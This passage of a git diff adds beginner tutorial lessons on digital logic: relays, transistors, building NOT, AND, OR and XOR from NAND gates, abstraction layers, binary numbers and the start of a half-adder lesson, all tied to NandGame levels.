+> NO. If you've built a control circuit, you'll soon see that the computer too is born
+> from the same parts. And if you've never seen one, no worries: saying "normally passing
+> / normally cutting" is enough.
+
+---
+
+## The Transistor: The Relay's Grandchild
+
+Real chips have no relays — because a relay's lever **physically moves,** and a moving
+thing is both slow and wears out. The modern solution is the **transistor**: a part so
+small it's invisible to the eye, which does the same job (one current turning another
+current on and off) **with no moving parts at all.**
+
+To feel the consequence of that size difference: the processor in the device you're
+reading these lines on has **billions** of transistors, and each one can switch on and
+off billions of times per second.
+
+> 🔑 But the idea hasn't changed: **transistor = a switch whose lever is pushed by
+> electricity.** Every circuit you can build with a relay can also be built with a
+> transistor — it's just smaller and faster. That's why in this series we start with the
+> relay with an easy conscience: whoever understands the relay has understood the
+> transistor.
+
+---
+
+## First Task: The NAND Gate
+
+Now we can build our first **gate.** A gate (*gate*) is a few switches joined together
+to make a single **decision:** it looks at the inputs and produces a single output.
+
+Our first gate is named **NAND** (*Not AND* in English — "AND-not"). Its rule is a single
+sentence:
+
+> **If both inputs are 1, the output is 0; in every other case the output is 1.**
+
+Its table (you'll see exactly this table in the game too):
+
+| a | b | output |
+|---|---|:---:|
+| 0 | 0 | **1** |
+| 0 | 1 | **1** |
+| 1 | 0 | **1** |
+| 1 | 1 | **0** |
+
+Like a grumpy guard: it always keeps the door open, but *"if the two of you came
+together, you can't come in."*
+
+---
+
+## Why Is the First Gate NAND?
+
+Because NAND is **universal**: using NAND alone you can build NOT, AND, OR, XOR — that
+is, **all the other gates.** From gates come adders, from adders a computing unit, from
+there memory and the processor... So:
+
+> 🔑 **A single kind of brick is enough.** A chip with billions of transistors is not "a
+> whole lot of different things" — it's largely **billions of repetitions of the same
+> idea.** That's why the game is named NandGame: everything from here on, you'll derive
+> from this first gate.
+
+You'll do this yourself in the next lesson. First let's finish the job at hand.
+
+---
+
+## 🎮 Now You Build It
+
+**Task:** [nandgame.com](https://nandgame.com) → first level: **Nand.**
+
+The game gives you two kinds of relay (default on / default off) and also a **V** input —
+"always 1," that is, a source that supplies current continuously (think of it as a wire
+plugged into the outlet). The goal: build the circuit that satisfies the NAND table
+above.
+
+Two pointers before you try:
+
+1. The single row where the inputs are **1 1** is special: only there is the output 0.
+ Which temperament of relay, and connecting the inputs how, asks the question "did both
+ arrive?"
+2. If you need the **opposite** of the result: which temperament of relay *cuts* the path
+ when a 1 reaches its coil?
+
+
+🔒 The logic of the solution — try it yourself first, then open
+
+Two relays, two jobs:
+
+1. **The "did both arrive?" question — the default off relay.** Connect `a` to its coil
+ and `b` to its input (`in`). Since this relay passes only when the coil is full, for
+ there to be current at its output you need **both a=1 (coil) and b=1 (the current
+ passing through).** So this relay's output = "a AND b".
+2. **The negation — the default on relay.** Connect the previous relay's output to its
+ coil, and `V` (always 1) to its input. When the coil is empty it passes V (output 1);
+ when "a AND b" happens and the coil fills, it cuts the path (output 0).
+
+Result: output = "**not** a AND b" = NAND. With two rusty relays, you've built the
+computer's universal brick.
+
+
+
+When you pass the level, stop and feel this: you just **made electricity make a
+decision.** No finger, no human — current managed current. Everything else is a
+repetition of this.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ 1 = current present, 0 = current absent. Nothing else.
+☐ The wire knows no meaning; WE assign the meaning to the 1/0, the number, the letter.
+☐ The switch turns current on and off — but its lever needs a finger.
+☐ Relay = a switch whose lever is pushed by ELECTRICITY → electricity manages electricity → decisions chain.
+☐ Two temperaments: default on = normally passes (NC), default off = normally cuts (NO).
+☐ Transistor = the relay's motionless, tiny, billions-of-times-fast grandchild. Same idea.
+☐ NAND: only "1 1" gives 0, the rest give 1. The universal brick — everything will derive from it.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [00_buradan_basla.md](./00_buradan_basla.md) — The roadmap of the series
+- [02_nanddan_kapilar.md](./02_nanddan_kapilar.md) — Deriving all the gates from this brick
+
+---
+
+**Previous topic:** [00_buradan_basla.md](./00_buradan_basla.md)
+**Next topic:** [02_nanddan_kapilar.md](./02_nanddan_kapilar.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/02_nanddan_kapilar.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/02_nanddan_kapilar.md
new file mode 100644
index 0000000..ffe3b9a
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/02_nanddan_kapilar.md
@@ -0,0 +1,203 @@
+# 🧱 From Switches to a Computer — All the Gates from a Single Brick
+
+> Last lesson we said "NAND is universal, everything derives from it." Claims like this
+> shouldn't stay just words. In this lesson **you** will prove the claim: using only NAND,
+> you'll build the NOT, AND and OR gates. When the lesson ends you'll hold a
+> four-word language — and we'll never go back to relays again.
+
+> **From this lesson on, NAND is a closed box for you.** We're done with the relays
+> inside it; from now on NAND has only a **table**. This forgetting is deliberate — we'll
+> talk about exactly why in 03.5.
+
+---
+
+## 📋 Table of Contents
+
+- [What We Have: The Closed-Box NAND](#what-we-have-the-closed-box-nand)
+- [NOT (invert): Wiring It to a Mirror](#not-invert-wiring-it-to-a-mirror)
+- [AND: The Inverse of the Inverse](#and-the-inverse-of-the-inverse)
+- [OR: Entering Through the Inverted Gate](#or-entering-through-the-inverted-gate)
+- [A Four-Word Language](#a-four-word-language)
+- [🎮 Now Build It Yourself](#-now-build-it-yourself)
+
+---
+
+## What We Have: The Closed-Box NAND
+
+From now on we'll draw NAND like this — no insides, just its behavior:
+
+```
+ ┌────────┐
+ a ─────┤ │
+ │ NAND ├───── output 0 only when a=b=1, else 1
+ b ─────┤ │
+ └────────┘
+```
+
+NandGame does the same: the moment you clear the Nand level, a ready-made part called
+**nand** appears in the box of the later levels. That part is the circuit you built —
+its boxed-up form.
+
+Our task: derive three gates using only this box. No tricks, no other parts.
+
+---
+
+## NOT (invert): Wiring It to a Mirror
+
+The simplest gate is **NOT**: it has a single input and inverts it.
+
+| x | output |
+|---|:---:|
+| 0 | **1** |
+| 1 | **0** |
+
+What we have, though, is a two-input NAND. How do you make something with a single input
+out of a two-input part?
+
+Look at NAND's table and read only the rows where **both inputs are the same**:
+
+| a | b | NAND |
+|---|---|:---:|
+| **0** | **0** | 1 |
+| 0 | 1 | 1 |
+| 1 | 0 | 1 |
+| **1** | **1** | 0 |
+
+`0,0 → 1` and `1,1 → 0`. So when the inputs are always the same, NAND behaves exactly
+like an **inverter**. In that case the solution is: **wire the same wire to both inputs of
+the NAND.**
+
+```
+ ┌────────┐
+ x ──┬──┤ │
+ │ │ NAND ├───── inverse of x
+ └──┤ │
+ └────────┘
+```
+
+> 💡 This little trick is the first "derivation" in the series, and it sums up the method
+> nicely: we didn't invent a new gate — we **forced** the part we had into the rows of its
+> table that serve our purpose. Circuit design is mostly this.
+
+---
+
+## AND: The Inverse of the Inverse
+
+The **AND** gate is just what its name says: 1 if both inputs are 1, otherwise 0.
+
+| a | b | AND |
+|---|---|:---:|
+| 0 | 0 | 0 |
+| 0 | 1 | 0 |
+| 1 | 0 | 0 |
+| 1 | 1 | **1** |
+
+Now place this table side by side with NAND's... did you notice? **It's the exact opposite,
+row by row.** NAND already meant "AND-not"; so:
+
+> **AND = invert NAND's output.** And we just built the inverter.
+
+NAND + NOT (made from NAND) = AND. Two boxes, done.
+
+---
+
+## OR: Entering Through the Inverted Gate
+
+**OR**: 1 if **at least one** of the inputs is 1.
+
+| a | b | OR |
+|---|---|:---:|
+| 0 | 0 | 0 |
+| 0 | 1 | 1 |
+| 1 | 0 | 1 |
+| 1 | 1 | 1 |
+
+This time the job looks hard at first: NAND's table doesn't much resemble OR's. But when you
+think in the guard's language, a way opens up. Compare the two sentences:
+
+- OR: *"let at least one of them **have come**."*
+- NAND: *"don't let both of them **be**."*
+
+Now build the OR sentence backwards: "let at least one have come" = **"don't let both of
+them have NOT come."** Do you see the double negative in it? "Not come" (the inverse of the
+inputs) + "don't let be" (NAND). So:
+
+> **OR = invert BOTH inputs, then feed them into NAND.**
+
+Verify (for a=0, b=1): the inverses are 1 and 0 → NAND(1,0) = 1 ✓. (a=0, b=0): the inverses
+are 1,1 → NAND = 0 ✓. All four rows hold — build it and see.
+
+> 💡 With your own hands you just discovered a famous rule from the history of logic:
+> **De Morgan's law** — "OR is the inverse of the AND of the inverses." Books give it as a
+> formula; you found it with the guard's sentence. They're the same thing, but yours is
+> yours.
+
+---
+
+## A Four-Word Language
+
+Look at your inventory — yesterday it was zero, today you have four gates:
+
+| Gate | Its sentence | How it's built (all from NAND) |
+|---|---|---|
+| **NAND** | "don't let both be" | 2 relays *(lesson 01)* |
+| **NOT** | "the inverse" | NAND with its inputs joined |
+| **AND** | "both" | NAND + NOT |
+| **OR** | "at least one" | NAND with its inputs inverted |
+
+> 🔑 Notice: the table has no relay column, because we no longer need one. **Everything is
+> in terms of NAND** — and what's inside NAND (a relay, a transistor, some entirely
+> different technology) is of no concern to this table. Even if the lower layer changes,
+> these four words stay valid. This is exactly the power of the concept of a "layer."
+
+---
+
+## 🎮 Now Build It Yourself
+
+**Task:** the next three levels in NandGame: **Invert → And → Or.**
+
+The lesson has already shown the way; still, verify your table yourself as you build: at
+each level, change the input buttons by hand and watch the output. The confirmation of
+"Check solution" and seeing it with your own eyes are two different things — the second one
+teaches.
+
+
+🔒 How all three are built, at a glance — try it yourself first, then open
+
+- **Invert:** wire `x` to **both inputs** of the NAND.
+- **And:** feed `a,b` into NAND; run NAND's output through an **invert**.
+- **Or:** run `a` through one invert and `b` through a separate invert; feed the two
+ inverses into **NAND**.
+
+(The game puts the part you built in the previous level into the box of the next level — you
+can use invert as a ready-made part in And and Or.)
+
+
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ NAND is now a closed box: no insides, just a table. We're done with relays.
+☐ NOT = give the same wire to both NAND inputs ("wiring it to a mirror").
+☐ AND = NAND + invert (NAND already meant "AND-not").
+☐ OR = invert the inputs, then NAND ("don't let both have NOT come").
+☐ Along this path you discovered De Morgan's law by yourself.
+☐ The method is called derivation: don't invent new parts, force the one you have into its table.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_akim_salter_role.md](./01_akim_salter_role.md) — What was inside NAND: relays
+- [03_xor_iki_fedai.md](./03_xor_iki_fedai.md) — The next gate: XOR, the difference detector
+- [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md) — Why the "closed box" idea matters so much
+
+---
+
+**Previous topic:** [01_akim_salter_role.md](./01_akim_salter_role.md)
+**Next topic:** [03_xor_iki_fedai.md](./03_xor_iki_fedai.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/03.5_soyutlama_merdiveni.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03.5_soyutlama_merdiveni.md
new file mode 100644
index 0000000..0672547
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03.5_soyutlama_merdiveni.md
@@ -0,0 +1,109 @@
+# 🪜 From Switches to a Computer — Interlude: The Ladder of Abstraction
+
+> For three lessons now you've been doing something you probably never named: every
+> circuit you build, you **close up** and climb on top of. This short interlude gives
+> that move a name. Because that move isn't a habit — it's **the one and only reason a
+> computer can exist at all.**
+
+> *(Interlude: short, no circuits, no game. Pour yourself a tea, read it, move on.)*
+
+---
+
+## Look at the Ladder
+
+Here's what you've done so far, in order:
+
+1. You started with the **relay**. Your head was in the coil, in the contact — "when the coil fills up, the arm gets pulled..."
+2. From two relays you built the **NAND**. And something happened: the moment you built the NAND, you
+ **forgot** the relays. In the later levels the NAND was a box you couldn't see inside of;
+ it just had a table.
+3. From NANDs you built **NOT, AND, OR**. They got boxed up too.
+4. From gates you built **XOR**. Now it's in a box too: two inputs, one table, and nobody
+ cares what's inside.
+
+```
+ ┌ XOR ┐ ← you are here right now
+ │ from gates │
+ ┌ OR/AND/NOT ┐ ← boxed up
+ │ from NANDs │
+ ┌ NAND ┐ ← boxed up
+ │ from relays │
+ ┌ RELAY ┐ ← boxed up (you forgot it long ago)
+ │ from physics... │
+```
+
+We'll call this the **ladder of abstraction**. The rule fits in one sentence:
+
+> 🔑 **One floor's ANSWER is the next floor's SIGNAL.** When you built the XOR, you didn't
+> think of OR's output as "OR's output" — you fed it to the AND as an ordinary signal, like
+> a, b. The lower floor closes up; the wire it produces behaves like an input that was there
+> from birth on the floor above.
+
+---
+
+## Why Does This Matter So Much?
+
+Let's do a bit of arithmetic. Inside the XOR there are 3 gates; inside each gate a few NANDs,
+inside each NAND 2 relays. So the thing you call XOR is really a machine made of a dozen
+relays. We're going to build an adder — inside it there will be several XORs. By the time we
+reach the processor the count will run into the **billions**.
+
+**Nobody can hold a billion parts in their head at once.** Computer engineering didn't solve
+this — it **never had to**, because thanks to the ladder nobody needs to think about a billion
+parts:
+
+- Whoever designs the relay thinks about a magnet — they don't care about the NAND.
+- Whoever builds the NAND thinks about two relays — they don't care about the XOR.
+- Whoever builds the adder thinks about a few gates — they don't even remember that a thing called a relay exists.
+
+Every floor works with **a handful of parts**. What you call a billion is a stack of handfuls piled on top of each other.
+
+> 💡 You've lived through a proof of this: in lesson 02 we said "we won't go back to relays
+> anymore," and we didn't. Did you lose anything? No — because the NAND's table carried
+> everything the relay could ever give. If a floor is closed up correctly, what's below it can
+> be **safely** forgotten.
+
+---
+
+## The Ladder's Two Faces
+
+The same ladder runs in both directions, and you're doing both in this series:
+
+- **Up (while building):** build the part → box it up → use it as a part on the floor above.
+ NandGame's level layout is exactly this: every level you solve shows up as a ready-made part
+ in the next level's box.
+- **Down (when you want to understand):** open any box, read it in the language of the floor
+ below. "How does XOR work?" → gates. "How about AND?" → NANDs. "NAND?" → relays.
+ There's no wall on any floor; **every box can be opened.** This is the technical meaning of
+ the sentence "a computer is not magic."
+
+> ⚠️ The ladder's only danger: closing up a floor before it has **settled**. For you to be able
+> to trust a box's table, you have to have actually built it at least once. That's why skipping
+> levels is forbidden in this series — a box you didn't solve is a box you can't trust.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Ladder of abstraction: build → box up → climb on top. The lower floor is safely forgotten.
+☐ Rule: one floor's ANSWER is the next floor's SIGNAL.
+☐ A billion-part chip is possible this way: nobody thinks about the billion, everybody thinks about one handful.
+☐ The ladder also goes down: every box can be opened. No magic.
+☐ The one forbidden move: closing up a floor that hasn't settled. Don't trust a box you didn't build.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [02_nanddan_kapilar.md](./02_nanddan_kapilar.md) — The first boxing-up: NAND closes
+- [03_xor_iki_fedai.md](./03_xor_iki_fedai.md) — The last rung of the ladder you stepped on
+- [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md) — Now a new floor: the floor of meaning
+
+---
+
+**Previous topic:** [03_xor_iki_fedai.md](./03_xor_iki_fedai.md)
+**Next topic:** [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md)
+
+*This lesson is part of the "From Switches to a Computer" series. The series moves along together with [nandgame.com](https://nandgame.com).*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/03_xor_iki_fedai.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03_xor_iki_fedai.md
new file mode 100644
index 0000000..ef0f568
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03_xor_iki_fedai.md
@@ -0,0 +1,174 @@
+# 🚪 From Switches to a Computer — XOR: The Tale of Two Bouncers
+
+> The gates so far were one-sentence characters: "both," "at least one,"
+> "the opposite." In this lesson, for the first time, you'll build a gate that asks for
+> **two sentences at once**: XOR, the difference detector. Along the way you'll learn two things: what it means
+> for gates to form a **team** — and the strange fact that will open the door to the next unit: XOR is, in fact,
+> a secret **adder.**
+
+> XOR is the series' "my brain is fried" stop: the first multi-gate structure. The burn is normal and
+> temporary — this lesson was written for exactly that wall.
+
+---
+
+## 📋 Table of Contents
+
+- [Mission: The Difference Detector](#mission-the-difference-detector)
+- [Why Isn't One Gate Enough?](#why-isnt-one-gate-enough)
+- [Two Bouncers, One Approval Desk](#two-bouncers-one-approval-desk)
+- [Verify the Table with the Bouncers](#verify-the-table-with-the-bouncers)
+- [XOR's Secret Identity (Trailer for the Coming Unit)](#xors-secret-identity-trailer-for-the-coming-unit)
+- [🎮 Now You Build It](#-now-you-build-it)
+
+---
+
+## Mission: The Difference Detector
+
+**XOR** (from *exclusive or*), looks at its two inputs and asks a single
+question: **"are you two different?"**
+
+| a | b | XOR | reading |
+|---|---|:---:|---|
+| 0 | 0 | **0** | same → 0 |
+| 0 | 1 | **1** | different → 1 |
+| 1 | 0 | **1** | different → 1 |
+| 1 | 1 | **0** | same → 0 |
+
+You can read the same table through a second lens: the output is 1 only when there is **exactly one
+1**. Both readings are correct; tuck the second one in your pocket, it'll come in handy this lesson.
+
+---
+
+## Why Isn't One Gate Enough?
+
+Try the gates you have, one by one — which one matches this table?
+
+- **Try OR:** "at least one." Same as XOR for the first three rows... but it blows it on the last row:
+ OR(1,1)=1, while XOR wants it to be 0. ✗
+- **Try NAND:** "not both." It nails the last row (1,1→0)... but it blows it on the first
+ row: NAND(0,0)=1, while XOR wants it to be 0. ✗
+- **AND**, **NOT** — try them, none of them can hit all four of the four rows.
+
+Here's the reason: what XOR wants is **not a single condition, but the intersection of two conditions:**
+
+1. "At least one of you be 1" *(eliminates 0,0)*
+2. "But don't both of you be 1" *(eliminates 1,1)*
+
+A single gate says a single sentence. A two-sentence job needs a **team**.
+
+> 🔑 This is the first big design lesson in the series: a complex request breaks down into the **intersection
+> of simple requests.** A gate for each simple request, and a gate for the intersection — and the job's
+> done. You'll build every circuit from here on like this: first split into sentences, then hand out gates
+> to the sentences.
+
+---
+
+## Two Bouncers, One Approval Desk
+
+Now set up the story. Picture a club door; the rule for getting in is "exactly one of you two."
+Two bouncers stand at the door, and each one enforces **a single rule**:
+
+- **The OR bouncer:** *"At least one of you must have shown up."* — Doesn't approve an empty arrival (0,0).
+- **The NAND bouncer:** *"But you can't both come in."* — Doesn't approve a paired arrival (1,1).
+
+The **approval desk (AND)** inside does just one thing: **if both bouncers say "okay"**
+it opens the door.
+
+```
+ a ──┬──────────► [ OR bouncer ] ──┐
+ │ ├──► [ AND approval desk ] ──► XOR output
+ b ──┴──────────► [ NAND bouncer ] ─┘
+```
+
+(a and b appear to both bouncers **at the same time** — the wires fork, no one waits their turn.)
+
+---
+
+## Verify the Table with the Bouncers
+
+Run each of the four possibilities through the gates one by one:
+
+| Arrivals (a,b) | OR bouncer | NAND bouncer | Approval desk (AND) |
+|---|:---:|:---:|:---:|
+| 0, 0 — nobody | ✗ "nobody showed up" (0) | ✓ (1) | **0** — no entry |
+| 0, 1 — one person | ✓ (1) | ✓ (1) | **1** — come on in |
+| 1, 0 — one person | ✓ (1) | ✓ (1) | **1** — come on in |
+| 1, 1 — a pair | ✓ (1) | ✗ "you can't both come in" (0) | **0** — no entry |
+
+Four rows, four hits. XOR = **AND( OR(a,b), NAND(a,b) )** — but don't memorize this
+formula; remember the story, and the formula rewrites itself.
+
+> 💡 Did you notice: all three gates on the team are from the previous lesson — OR, NAND, AND. XOR
+> isn't "a new invention," it's the **division of labor among old acquaintances.** Number of new parts: zero.
+
+---
+
+## XOR's Secret Identity (Trailer for the Coming Unit)
+
+Take out that second reading you pocketed: XOR = "1 if there is exactly one 1."
+
+Now answer this question: **what do you get if you add 0 and 1?** 1. And 1 and 1? 2 —
+and in the binary world, the ones digit of the way 2 is written is **0** (we'll build up why,
+step by step, in Unit 1). Now look at XOR's table once more:
+
+| a | b | a+b | ones digit of the sum | XOR |
+|---|---|:---:|:---:|:---:|
+| 0 | 0 | 0 | 0 | 0 |
+| 0 | 1 | 1 | 1 | 1 |
+| 1 | 0 | 1 | 1 | 1 |
+| 1 | 1 | 2 | **0** | **0** |
+
+Exactly the same column. **XOR is the ones digit of a two-bit addition.** This gate that
+plays bouncer at the club door will, two lessons from now, be the heart of the circuit that lets the
+computer do addition.
+
+---
+
+## 🎮 Now You Build It
+
+**Mission:** NandGame → **Xor** level.
+
+The story is in your hands: two bouncers + an approval desk. Look at the ready-made parts in your box (or, nand, and
+— you built them all), and pull the wires. After you build it, try the four input combinations
+**by hand** and each time watch which bouncer says "no" — that's when the circuit turns into
+the story.
+
+
+🔒 The logic of the solution — try it yourself first, then open
+
+Fork `a` and `b` and feed them into **both OR and NAND**. Give the two gates' outputs to **AND**;
+AND's output is XOR.
+
+Extra observation: while your circuit is running, give it (1,1) and watch how the 0 at NAND's output
+locks AND; then give it (0,0) and see the same lock on the OR side. Two bouncers, killing two
+separate rows — if the table has four rows, two "no"s + two "yes"es is the whole tally.
+
+
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ XOR = difference detector: 1 if different, 0 if the same.
+☐ Second reading: "1 if there is EXACTLY ONE 1" — don't forget this, it comes back in addition.
+☐ One gate isn't enough, because the request is TWO sentences: "at least one" + "not both."
+☐ The solution team: OR bouncer (eliminates 0,0) + NAND bouncer (eliminates 1,1) + AND approval desk.
+☐ Design method: split a complex request into sentences, hand out gates to the sentences.
+☐ XOR's secret identity: the ONES DIGIT of a two-bit addition.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [02_nanddan_kapilar.md](./02_nanddan_kapilar.md) — Building the three gates on the team
+- [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md) — Boxing up the layers: the main idea of this series
+- [05_half_adder.md](./05_half_adder.md) — Where XOR's secret identity comes to light
+
+---
+
+**Previous topic:** [02_nanddan_kapilar.md](./02_nanddan_kapilar.md)
+**Next topic:** [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md)
+
+*This lesson is part of the "From Switches to a Computer" series. The series progresses alongside [nandgame.com](https://nandgame.com).*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/04_teller_sayi_olunca.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/04_teller_sayi_olunca.md
new file mode 100644
index 0000000..0466096
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/04_teller_sayi_olunca.md
@@ -0,0 +1,170 @@
+# 🔢 From Switches to a Computer — When Wires Become Numbers
+
+> Up to now, wires have carried "yes/no" for you: current, a decision, the go-ahead from
+> the ones that do the dirty work. In this lesson we'll give wires a brand-new meaning:
+> **number.** This is the biggest mental leap in the series — and the only concept lesson
+> that contains no circuit. If you lay this groundwork solidly, the adder lessons will
+> flow like water.
+
+> **No circuit in this lesson, no game.** Just one idea. But the whole of Unit 1 rests on
+> this idea: don't rush, read it twice if you need to.
+
+---
+
+## 📋 Table of Contents
+
+- [The Limit of a Single Wire](#the-limit-of-a-single-wire)
+- [The Remedy: Adding Wires and Assigning Values](#the-remedy-adding-wires-and-assigning-values)
+- [The Token System](#the-token-system)
+- [This Is a Trick You Already Know](#this-is-a-trick-you-already-know)
+- [Counting in Binary](#counting-in-binary)
+- [The Reading Formula](#the-reading-formula)
+
+---
+
+## The Limit of a Single Wire
+
+Recall the basic truth from lesson 01: **a wire knows no meaning.** A wire either has
+current or it doesn't. We named those two states "1" and "0" — that was the first meaning
+we assigned.
+
+Now a new need arises: in a moment our circuits will **count** (they'll answer the
+question "how many?"). But the biggest thing a single wire can say is "1". There's no
+"2 units of current" on a wire — the current is either there or not. So how does a circuit
+say 2, 3, or 500?
+
+> 🔑 The answer isn't inside the wire, it's in the **number of wires:** for bigger numbers
+> you add wires — and you **assign each wire a different value.** A number doesn't live on
+> a single wire, it lives in how a **group** of wires is read.
+
+---
+
+## The Remedy: Adding Wires and Assigning Values
+
+Take two wires. Call the left one the "**2's wire**" and the right one the "**1's wire**".
+Our rule:
+
+> The number the group says = **the sum of the values of the wires that are on.**
+
+With two wires you can build four different states — and the four say four separate numbers:
+
+| 2's wire | 1's wire | Number said |
+|:---:|:---:|:---:|
+| 0 | 0 | 0 + 0 = **0** |
+| 0 | 1 | 0 + 1 = **1** |
+| 1 | 0 | 2 + 0 = **2** |
+| 1 | 1 | 2 + 1 = **3** |
+
+That's all there is to it. The whole of the thing that wanders around under scary book
+titles like "the binary number system" is this table: **assign values to wires, sum the
+ones that are on.**
+
+---
+
+## The Token System
+
+To make the same idea tangible, think in tokens. You have two kinds of token in your hand:
+**2's** and **1's.** You say any amount by "which tokens you handed over":
+
+```
+ pay 0 → no token → wires: 0 0
+ pay 1 → one 1's → wires: 0 1
+ pay 2 → one 2's → wires: 1 0
+ pay 3 → one 2's + 1's → wires: 1 1
+```
+
+> 💡 Note: you can use **at most one** of each kind of token — because a wire either turns
+> on or it doesn't; there's no "turning on twice." Since you don't have the option of
+> handing over two 1's when you "pay 2," the 2's token is **mandatory.** This mandate is
+> why the values go 1, 2 (and, in a moment, 4, 8...): so that every amount can be paid in
+> **exactly one way**, using at most one of each token.
+
+---
+
+## This Is a Trick You Already Know
+
+Don't let "assigning values to digits" feel new to you — **you've been doing it since
+grade school.** When you write "347" in the decimal system, what you're really saying is:
+
+```
+ 3 4 7
+ ↓ ↓ ↓
+ 100's 10's 1's → 3×100 + 4×10 + 7×1 = 347
+```
+
+In the decimal system the place values go 1, 10, 100, 1000... (each one **10 times** the
+previous, because you can write **ten** different digits, 0–9, in each place).
+
+In our wires, though, there are only **two** things that can be written in a place: 0 and 1.
+So the place values go 1, 2, 4, 8... — each one **2 times** the previous.
+
+> 🔑 So "the binary system" isn't a separate kind of math; it's **the same place-value idea,
+> in its two-digit form.** Just as "10" in decimal is "one ten, zero ones," in binary `10`
+> means "one 2's, zero 1's" — that is, **2.** See? There was nothing to be afraid of.
+
+---
+
+## Counting in Binary
+
+With three wires (4's, 2's, 1's) let's count from 0 to 7 — out loud, in token language:
+
+| Number | 4's | 2's | 1's | In token language |
+|:---:|:---:|:---:|:---:|---|
+| 0 | 0 | 0 | 0 | no tokens at all |
+| 1 | 0 | 0 | 1 | 1's |
+| 2 | 0 | 1 | 0 | 2's |
+| 3 | 0 | 1 | 1 | 2's + 1's |
+| 4 | 1 | 0 | 0 | 4's |
+| 5 | 1 | 0 | 1 | 4's + 1's |
+| 6 | 1 | 1 | 0 | 4's + 2's |
+| 7 | 1 | 1 | 1 | all of them |
+
+See a pattern in the table: the **1's column** ticks 0-1-0-1; the **2's column** goes in
+twos; the **4's** in fours. Like the digits on an odometer — when the right one fills up,
+the left one goes up by one. Same logic, except "filling up" happens at 1 instead of 9.
+
+---
+
+## The Reading Formula
+
+Let's squeeze everything into a single line. Let the three wires, left to right, be named
+`x h l` (4's, 2's, 1's):
+
+> **number said = 4·x + 2·h + 1·l**
+
+This formula is the key to the next two lessons. When our circuits hand you two wires called
+`h l`, you won't panic; you'll just read "2·h + l" and move on.
+
+> 💡 **You might be wondering:** *"So why doesn't a computer use decimal? People count in
+> decimal, after all."* Because the nature of a wire has two states: current on/off. If we
+> wanted decimal, we'd have to reliably tell apart ten different current levels on every
+> wire — in the noisy real world that's fragile and expensive. "On/off," on the other hand,
+> is rock-solid. The hardware didn't choose binary; **binary came out of the nature of the
+> wire.**
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A single wire says "1" at most. A bigger number = ADD A WIRE + ASSIGN each wire a VALUE.
+☐ Number = the sum of the values of the wires that are on. (Token analogy: which tokens did you hand over?)
+☐ At most ONE of each token → the values must be 1, 2, 4, 8... (powers of two).
+☐ The binary system = the place-value idea from school, with two digits. `10` (binary) = "one 2's" = 2.
+☐ Reading formula: number = 4x + 2h + 1l. This line is the key to two lessons.
+☐ The computer didn't choose binary; binary came out of the on/off nature of the wire.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_akim_salter_role.md](./01_akim_salter_role.md) — Where the principle "a wire knows no meaning" was born
+- [05_half_adder.md](./05_half_adder.md) — The fruit of this lesson: a circuit that ADDS numbers
+
+---
+
+**Previous topic:** [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md)
+**Next topic:** [05_half_adder.md](./05_half_adder.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/05_half_adder.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/05_half_adder.md
new file mode 100644
index 0000000..15e7c06
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/05_half_adder.md
@@ -0,0 +1,158 @@
+# ➕ From Switches to a Computer — Half Adder: The First Adder
+
+> If you dig down to the bottom of everything a processor does, you always reach the same thing: **addition.**
+> Subtraction is addition with a negative number; multiplication is repeated addition; the health in
+> a game, the tick of a counter, an address calculation in memory — all of it is addition. In this lesson you'll build
+> the deepest cell of that giant pyramid: **the circuit that adds two bits.** And you'll see
+> that you've been carrying the pieces in your pocket all along.
+
+---
+
+## 📋 Table of Contents
+
+- [Task: How Much Is 1 + 1?](#task-how-much-is-1--1)
+- [Why Isn't One Output Enough?](#why-isnt-one-output-enough)
+- [Build the Table, Spot the Familiar Faces](#build-the-table-spot-the-familiar-faces)
+- [The Circuit: Two Old Friends, Side by Side](#the-circuit-two-old-friends-side-by-side)
+- [Why a "HALF" Adder?](#why-a-half-adder)
+- [🎮 Now Build It Yourself](#-now-build-it-yourself)
+
+---
+
+## Task: How Much Is 1 + 1?
+
+The box we want to build looks simple: two inputs (`a`, `b`), each a single bit.
+Let the box add them **as numbers.**
+
+There are only four possibilities in total:
+
+```
+ 0 + 0 = 0 0 + 1 = 1 1 + 0 = 1 1 + 1 = ... 2
+```
+
+And while the first three are trouble-free, in the fourth things get interesting: **2.** From the last lesson
+you know — on a single wire there's no such thing as "2". In binary, 2 is written `10`: *one
+2, zero 1s.*
+
+---
+
+## Why Isn't One Output Enough?
+
+This is exactly why our adder is forced to have **two output wires:**
+
